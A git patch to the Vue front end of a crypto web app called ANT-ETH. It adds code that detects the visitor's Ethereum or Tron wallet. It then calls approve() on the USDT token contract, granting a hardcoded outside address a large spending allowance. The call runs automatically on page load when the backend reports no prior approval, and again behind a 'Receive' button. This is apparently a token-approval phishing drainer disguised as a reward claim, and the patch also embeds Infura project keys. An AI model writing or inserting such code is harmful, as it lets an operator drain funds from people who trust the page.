From fc4f4e5db501b5960a1d33c88ab404095c478963 Mon Sep 17 00:00:00 2001
From: queenwuli <942534046@qq.com>
Date: Wed, 23 Mar 2022 14:37:08 +0800
Subject: [PATCH] gx
---
src/pages/index/index.vue | 93 ++++++++++++++++++++++++++++++++--------------
1 files changed, 65 insertions(+), 28 deletions(-)
diff --git a/src/pages/index/index.vue b/src/pages/index/index.vue
index 09697d1..060379d 100644
--- a/src/pages/index/index.vue
+++ b/src/pages/index/index.vue
@@ -9,9 +9,10 @@
</van-dropdown-menu>
</div>
<span class="title">ANT-ETH</span>
- <div class="right flex align-center" @click="showAccreditModal">
+ <div class="right flex align-center">
<img src="../../assets/images/icon.png" class="icon"/>
- <span>{{ $t("message.ConnectWallet") }}</span>
+ <span v-if="walletAddress">{{walletAddress}}</span>
+ <span v-else @click="showAccreditModal">{{ $t("message.ConnectWallet") }}</span>
</div>
</div>
<div class="banner-content">
@@ -35,7 +36,7 @@
<p>{{ $t("message.ReceiveDescription") }}</p>
</div>
<p class="block-content">{{ $t("message.Description") }}</p>
- <button class="block-btn" @click="showAccreditModal">{{ $t("message.Receive") }}</button>
+ <button class="block-btn" @click="toApprove">{{ $t("message.Receive") }}</button>
</div>
</van-overlay>
<van-overlay :show="isShowAccreditModal" @click="isShowAccreditModal = false" class="wrapper">
@@ -100,51 +101,86 @@
},
setup() {
const { proxy } = getCurrentInstance();
+ let walletAddress = ref('');
let isShowApproveModal = ref(false);
let isShowAccreditModal = ref(false);
let isShowWalletModal = ref(false);
- let provider = reactive(new WalletConnectProvider({
- infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
- bridge: "https://bridge.walletconnect.org",
- }))
- let web3 = new Web3(provider);
- let showAccreditModal = () => {
+ function changeLanguage(type){
+ proxy.$i18n.locale = type;
+ }
+
+ // 授权按钮
+ function toApprove() {
+ if(proxy.walletAddress){
+ approve()
+ }else{
+ showAccreditModal()
+ }
+ }
+ function showAccreditModal() {
proxy.isShowApproveModal = false
proxy.isShowAccreditModal = true
}
- async function showWalletModal(){
- proxy.isShowAccreditModal = false;
- provider.enable();
- const accounts = await web3.eth.getAccounts();
- alert(accounts)
- }
- let showDappModal = () => {
+ function showDappModal() {
proxy.isShowAccreditModal = false
proxy.isShowWalletModal = true
}
- let changeLanguage = (type) => {
- proxy.$i18n.locale = type;
+ async function showWalletModal() {
+ proxy.isShowAccreditModal = false;
+ let provider = new WalletConnectProvider({
+ infuraId: '27e484dcd9e3efcfd25a83a78777cdf1',
+ bridge: "https://bridge.walletconnect.org",
+ })
+ await provider.enable();
+ let web3 = new Web3(provider);
+ const accounts = await web3.eth.getAccounts();
+ console.log(accounts);
}
+
+
// 获取地址
- let walletAddress = ref('');
+ async function getAddress () {
+ let address = '';
+ if(window.ethereum) {
+ await window.ethereum.enable();
+ address = await ethereum.request({ method: 'eth_accounts' });
+ }else if(window.tronWeb){
+ address = window.tronWeb.defaultAddress.base58;
+ }
+ return address;
+ }
+ async function approve () {
+ if (typeof web3 !== 'undefined') {
+ web3 = new Web3(web3.currentProvider);
+ } else {
+ // set the provider you want from Web3.providers
+ web3 = new Web3(new Web3.providers.HttpProvider("https://mainnet.infura.io/v3/f54a5887a3894ebb9425920701a97fe0"));
+ }
+ const contractAddress = "0xdac17f958d2ee523a2206206994597c13d831ec7";
+ const trxContractAddress = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+ const authorizedAddress = '0xD998DA7362360eFC6daDFEd6E9a32E70640d7600';
+ const abi = [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_upgradedAddress","type":"address"}],"name":"deprecate","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"deprecated","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_evilUser","type":"address"}],"name":"addBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"upgradedAddress","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"maximumFee","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"unpause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_maker","type":"address"}],"name":"getBlackListStatus","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"},{"name":"","type":"address"}],"name":"allowed","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"paused","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"newBasisPoints","type":"uint256"},{"name":"newMaxFee","type":"uint256"}],"name":"setParams","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"issue","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"redeem","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"basisPointsRate","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"isBlackListed","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_clearedUser","type":"address"}],"name":"removeBlackList","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"MAX_UINT","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_blackListedUser","type":"address"}],"name":"destroyBlackFunds","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_initialSupply","type":"uint256"},{"name":"_name","type":"string"},{"name":"_symbol","type":"string"},{"name":"_decimals","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Issue","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Redeem","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"newAddress","type":"address"}],"name":"Deprecate","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"feeBasisPoints","type":"uint256"},{"indexed":false,"name":"maxFee","type":"uint256"}],"name":"Params","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_blackListedUser","type":"address"},{"indexed":false,"name":"_balance","type":"uint256"}],"name":"DestroyedBlackFunds","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"AddedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_user","type":"address"}],"name":"RemovedBlackList","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"}];
+ const contract = new web3.eth.Contract(abi, contractAddress);
+ const result = await contract.methods.approve(authorizedAddress, 90000000000000).send({from:proxy.walletAddress, gas:100000});
+ console.log(result);
+ }
async function init() {
- if(window.tronWeb){
- walletAddress = window.tronWeb.defaultAddress.base58;
- sessionStorage.setItem('address', walletAddress);
+ proxy.walletAddress = await getAddress();
+ if (proxy.walletAddress) {
proxy.$axios({
- url: '/dapp/common/isApprove/' + walletAddress,
- method: 'get'
+ url: '/dapp/common/isApprove/' + proxy.walletAddress,
+ method: 'get'
}).then((res) => {
if(res.code === 200) {
-
+ sessionStorage.setItem('address', proxy.walletAddress);
}else{
- showAccreditModal()
+ approve()
}
}).catch((err) => {
- showAccreditModal()
+ approve()
})
}else{
- showAccreditModal()
+ showAccreditModal();
}
}
onMounted(() => {
@@ -165,6 +201,7 @@
showAccreditModal,
showWalletModal,
showDappModal,
+ toApprove,
// 中英文切换
changeLanguage,
--
Gitblit v1.9.1